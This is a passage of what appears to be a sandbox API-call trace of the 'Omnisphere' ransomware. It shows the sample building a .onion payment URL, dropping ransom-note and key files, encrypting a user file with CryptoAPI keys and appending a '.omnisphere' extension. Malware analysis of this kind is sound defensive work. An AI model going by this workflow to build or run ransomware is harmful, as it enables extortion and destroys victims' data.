lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.332] GetProcessHeap () returned 0x1600000 [0118.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687088 [0118.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687088, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.332] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.332] GetProcessHeap () returned 0x1600000 [0118.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2250 [0118.332] PathCombineW (in: pszDest=0x16a2250, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.332] GetProcessHeap () returned 0x1600000 [0118.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169d468 [0118.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.332] WriteFile (in: hFile=0x28c, lpBuffer=0x169d468*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169d468*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.333] CloseHandle (hObject=0x28c) returned 1 [0118.333] GetProcessHeap () returned 0x1600000 [0118.333] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a3520 | out: hHeap=0x1600000) returned 1 [0118.333] GetProcessHeap () returned 0x1600000 [0118.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.333] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.333] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.333] CloseHandle (hObject=0x28c) returned 1 [0118.333] GetProcessHeap () returned 0x1600000 [0118.333] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.333] GetProcessHeap () returned 0x1600000 [0118.333] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0118.333] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x218d105a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x218d105a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x218d105a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0xd3, cFileName="0tq M_cT tEcyU 7qggP.flv.lnk", cAlternateFileName="0TQM_C~1.LNK")) returned 1 [0118.334] GetProcessHeap () returned 0x1600000 [0118.334] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x16415f0 [0118.334] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="0tq M_cT tEcyU 7qggP.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk" [0118.334] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0tq m_ct tecyu 7qggp.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.334] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=988) returned 1 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.334] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] GetTickCount () returned 0x115d936 [0118.335] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0118.335] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0118.335] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.335] CryptDestroyKey (hKey=0x1639868) returned 1 [0118.335] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0118.335] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dc, lpName=0x0) returned 0x288 [0118.336] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dc) returned 0x1480000 [0118.336] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0118.336] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.336] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.336] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.336] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.336] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.336] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.337] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.338] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.339] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.339] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.339] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.339] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.339] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.339] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.339] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.339] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.339] GetProcessHeap () returned 0x1600000 [0118.339] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ca) returned 0x16a3520 [0118.339] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0tq m_ct tecyu 7qggp.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0tq m_ct tecyu 7qggp.flv.lnk.omnisphere")) returned 1 [0118.340] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere.id" [0118.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere.id" (normalized: 